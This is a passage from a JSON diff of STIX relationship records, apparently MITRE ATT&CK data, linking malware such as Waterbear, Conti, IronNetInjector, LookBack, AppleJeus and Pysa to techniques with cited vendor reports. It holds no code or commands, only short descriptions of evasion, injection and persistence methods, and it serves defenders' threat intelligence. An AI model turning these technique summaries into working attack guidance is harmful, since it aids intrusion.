al. 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Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) can scramble functions not to be executed again with random values.(Citation: Trend Micro Waterbear December 2019)", + "relationship_type": "uses", + "id": "relationship--e041070a-ff38-47ee-aebd-8d1bc714231e", + "type": "relationship", + "modified": "2021-04-24T20:33:05.441Z", + "created": "2021-02-22T20:10:49.992Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. 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Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) can hook the ZwOpenProcess and GetExtendedTcpTable APIs called by the process of a security product to hide PIDs and TCP records from detection.(Citation: Trend Micro Waterbear December 2019)", + "relationship_type": "uses", + "id": "relationship--db963d57-c16f-4a69-92f3-fce8d25ab93d", + "type": "relationship", + "modified": "2021-02-22T20:22:19.964Z", + "created": "2021-02-22T20:22:19.964Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) can find the presence of a specific security software.(Citation: Trend Micro Waterbear December 2019)", + "relationship_type": "uses", + "id": "relationship--9b8341df-94d6-4989-9662-9af1b2233036", + "type": "relationship", + "modified": "2021-02-22T20:31:47.092Z", + "created": "2021-02-22T20:31:47.092Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) can identify the process for a specific security product.(Citation: Trend Micro Waterbear December 2019)", + "relationship_type": "uses", + "id": "relationship--d9b4c254-8e05-4410-ae4d-a47f55e6bf51", + "type": "relationship", + "modified": "2021-02-22T20:31:47.167Z", + "created": "2021-02-22T20:31:47.167Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) can discover files on a local system.(Citation: CarbonBlack Conti July 2020)", + "relationship_type": "uses", + "id": "relationship--707f2ce7-a09f-4df4-8b48-3106a63da041", + "type": "relationship", + "modified": "2021-04-13T18:30:41.691Z", + "created": "2021-02-22T22:08:43.112Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + }, + { + "source_name": "Cybereason Conti Jan 2021", + "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) has encrypted DLLs and used obfuscation to hide Windows API calls.(Citation: CarbonBlack Conti July 2020)(Citation: Cybereason Conti Jan 2021)", + "relationship_type": "uses", + "id": "relationship--9cc5bd19-ab08-4eb7-886b-ce55fde60421", + "type": "relationship", + "modified": "2021-02-25T00:50:55.423Z", + "created": "2021-02-25T00:50:55.423Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "Cybereason Conti Jan 2021", + "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021." + }, + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) has used API calls during execution.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020) ", + "relationship_type": "uses", + "id": "relationship--f9a82ef5-524a-4b95-a9b5-560e61f3d2fa", + "type": "relationship", + "modified": "2021-02-25T01:55:40.902Z", + "created": "2021-02-25T01:55:40.902Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", + "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "external_references": [ + { + "source_name": "Bleeping Computer - Ryuk WoL", + "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", + "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021." + } + ], + "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used the C$ network share for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)", + "relationship_type": "uses", + "id": "relationship--2251345d-d828-4768-b8f0-4a4ddd8e41ca", + "type": "relationship", + "modified": "2021-02-25T13:38:55.719Z", + "created": "2021-02-25T13:38:55.719Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "external_references": [ + { + "source_name": "Unit 42 IronNetInjector February 2021 ", + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021." + } + ], + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used IronPython scripts as part of the [IronNetInjector](https://attack.mitre.org/software/S0581) toolchain to drop payloads.(Citation: Unit 42 IronNetInjector February 2021 )", + "relationship_type": "uses", + "id": "relationship--afea3455-9565-4e5d-b431-e845ec1722d2", + "type": "relationship", + "modified": "2021-02-25T16:50:42.106Z", + "created": "2021-02-25T16:48:05.766Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "target_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "external_references": [ + { + "source_name": "Unit 42 IronNetInjector February 2021 ", + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021." + } + ], + "description": "(Citation: Unit 42 IronNetInjector February 2021 )", + "relationship_type": "uses", + "id": "relationship--5543599a-779f-4955-8f3e-99cc92b1e2fc", + "type": "relationship", + "modified": "2021-02-25T16:48:06.231Z", + "created": "2021-02-25T16:48:06.231Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "external_references": [ + { + "source_name": "Unit 42 IronNetInjector February 2021 ", + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021." + } + ], + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) can use an IronPython scripts to load a .NET injector to inject a payload into its own or a remote process.(Citation: Unit 42 IronNetInjector February 2021 )", + "relationship_type": "uses", + "id": "relationship--14d60e02-4ceb-4972-844c-412e9599144f", + "type": "relationship", + "modified": "2021-04-12T15:10:56.434Z", + "created": "2021-02-25T16:57:07.026Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Unit 42 IronNetInjector February 2021 ", + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021." + } + ], + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) has the ability to decrypt embedded .NET and PE payloads.(Citation: Unit 42 IronNetInjector February 2021 )", + "relationship_type": "uses", + "id": "relationship--b16b1e0e-63b0-4c5b-8809-476d9645948c", + "type": "relationship", + "modified": "2021-02-25T17:05:15.950Z", + "created": "2021-02-25T17:05:15.950Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Unit 42 IronNetInjector February 2021 ", + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021." + } + ], + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) can obfuscate variable names, encrypt strings, as well as base64 encode and Rijndael encrypt payloads.(Citation: Unit 42 IronNetInjector February 2021 )", + "relationship_type": "uses", + "id": "relationship--e842c832-8e3a-487c-bdde-e1614fec6c7e", + "type": "relationship", + "modified": "2021-02-25T17:05:15.970Z", + "created": "2021-02-25T17:05:15.970Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "Unit 42 IronNetInjector February 2021 ", + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021." + } + ], + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) has used a task XML file named mssch.xml to run an IronPython script when a user logs in or when specific system events are created.(Citation: Unit 42 IronNetInjector February 2021 )", + "relationship_type": "uses", + "id": "relationship--8fb40ded-3a84-48ad-ab52-342cf2ab629e", + "type": "relationship", + "modified": "2021-02-25T18:32:05.716Z", + "created": "2021-02-25T18:32:05.716Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "external_references": [ + { + "source_name": "Unit 42 IronNetInjector February 2021 ", + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021." + } + ], + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) has the ability to inject a DLL into running processes, including the [IronNetInjector](https://attack.mitre.org/software/S0581) DLL into explorer.exe.(Citation: Unit 42 IronNetInjector February 2021 )", + "relationship_type": "uses", + "id": "relationship--c4e3450c-c657-43c3-b825-031b12a33611", + "type": "relationship", + "modified": "2021-04-12T15:10:56.654Z", + "created": "2021-02-25T18:40:40.227Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "Unit 42 IronNetInjector February 2021 ", + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021." + } + ], + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) can identify processes via C# methods such as GetProcessesByName and running [Tasklist](https://attack.mitre.org/software/S0057) with the Python os.popen function.(Citation: Unit 42 IronNetInjector February 2021 )", + "relationship_type": "uses", + "id": "relationship--10b4ef89-5f69-4809-a410-37256407b5fa", + "type": "relationship", + "modified": "2021-04-12T15:09:00.014Z", + "created": "2021-02-25T18:46:03.681Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "external_references": [ + { + "source_name": "Unit 42 IronNetInjector February 2021 ", + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021." + } + ], + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) can use IronPython scripts to load payloads with the help of a .NET injector.(Citation: Unit 42 IronNetInjector February 2021 )", + "relationship_type": "uses", + "id": "relationship--02f18eff-faf1-421b-a0e9-e9852833bb04", + "type": "relationship", + "modified": "2021-02-25T20:26:00.879Z", + "created": "2021-02-25T18:59:16.634Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "external_references": [ + { + "source_name": "Proofpoint LookBack Malware Aug 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021." + } + ], + "description": "[LookBack](https://attack.mitre.org/software/S0582) can kill processes and delete services.(Citation: Proofpoint LookBack Malware Aug 2019)", + "relationship_type": "uses", + "id": "relationship--08bc171a-147c-4888-a0cb-c5fcebdc9b95", + "type": "relationship", + "modified": "2021-04-26T13:29:32.728Z", + "created": "2021-03-01T14:07:36.786Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "Proofpoint LookBack Malware Aug 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021." + } + ], + "description": "[LookBack](https://attack.mitre.org/software/S0582) removes itself after execution and can delete files on the system.(Citation: Proofpoint LookBack Malware Aug 2019)", + "relationship_type": "uses", + "id": "relationship--a48829f9-c991-4122-afda-a46a82faef95", + "type": "relationship", + "modified": "2021-03-03T16:49:14.724Z", + "created": "2021-03-01T14:07:36.808Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "external_references": [ + { + "source_name": "Proofpoint LookBack Malware Aug 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021." + } + ], + "description": "[LookBack](https://attack.mitre.org/software/S0582) can take desktop screenshots.(Citation: Proofpoint LookBack Malware Aug 2019)", + "relationship_type": "uses", + "id": "relationship--8630a3fb-9f65-4c54-b3d6-c379d03029dc", + "type": "relationship", + "modified": "2021-03-02T18:15:56.441Z", + "created": "2021-03-01T14:07:36.833Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "Proofpoint LookBack Malware Aug 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021." + } + ], + "description": "[LookBack](https://attack.mitre.org/software/S0582) executes the cmd.exe command.(Citation: Proofpoint LookBack Malware Aug 2019)", + "relationship_type": "uses", + "id": "relationship--327569f6-724f-4c46-bbdc-644c6416148b", + "type": "relationship", + "modified": "2021-03-02T18:15:56.490Z", + "created": "2021-03-01T14:07:36.860Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "Proofpoint LookBack Malware Aug 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. 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Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has collected the victim host information after infection.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--70c29cd1-53a2-48a6-8f94-515e7812013b", + "type": "relationship", + "modified": "2021-03-01T21:23:22.795Z", + "created": "2021-03-01T21:23:22.795Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has presented the user with a UAC prompt to elevate privileges while installing.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--c8de0953-1f20-47a4-bb02-ea9c30e8f932", + "type": "relationship", + "modified": "2021-03-01T21:23:22.797Z", + "created": "2021-03-01T21:23:22.797Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has XOR-encrypted collected system information prior to sending to a C2. [AppleJeus](https://attack.mitre.org/software/S0584) has also used the open source ADVObfuscation library for its components.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--de300ca1-3935-4b44-9b35-e32eee5304f7", + "type": "relationship", + "modified": "2021-03-02T18:16:41.095Z", + "created": "2021-03-01T21:23:22.792Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has been installed via MSI installer.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--8d3f505a-35d6-4c79-afc3-88979d9e156c", + "type": "relationship", + "modified": "2021-03-01T21:23:22.823Z", + "created": "2021-03-01T21:23:22.823Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has been distributed via spearphishing link.(Citation: CISA AppleJeus Feb 2021)", + "relationship_type": "uses", + "id": "relationship--30a465fc-955e-4688-9349-daf17a287c47", + "type": "relationship", + "modified": "2021-03-01T21:23:22.826Z", + "created": "2021-03-01T21:23:22.826Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) has used brute force attempts against a central management console, as well as some Active Directory accounts.(Citation: CERT-FR PYSA April 2020)", + "relationship_type": "uses", + "id": "relationship--e9c00323-e4de-41ac-9051-55860ecfa8a0", + "type": "relationship", + "modified": "2021-04-27T20:19:31.569Z", + "created": "2021-03-01T21:55:29.997Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) has used Powershell scripts to deploy its ransomware.(Citation: CERT-FR PYSA April 2020) ", + "relationship_type": "uses", + "id": "relationship--5db4c540-d95b-4a38-9d05-c21d7c85c9b1", + "type": "relationship", + "modified": "2021-03-01T21:55:30.000Z", + "created": "2021-03-01T21:55:30.000Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) has modified the registry key \u201cSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\u201d and added the ransom note.(Citation: CERT-FR PYSA April 2020) ", + "relationship_type": "uses", + "id": "relationship--7a097ec6-c379-4aef-849e-fe7d9ea1e7d1", + "type": "relationship", + "modified": "2021-03-01T21:55:30.002Z", + "created": "2021-03-01T21:55:30.002Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "external_references": [ + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + } + ], + "description": "[Pysa](https://attack.mitre.org/software/S0583) has used RSA and AES-CBC encryption algorithm to encrypt a 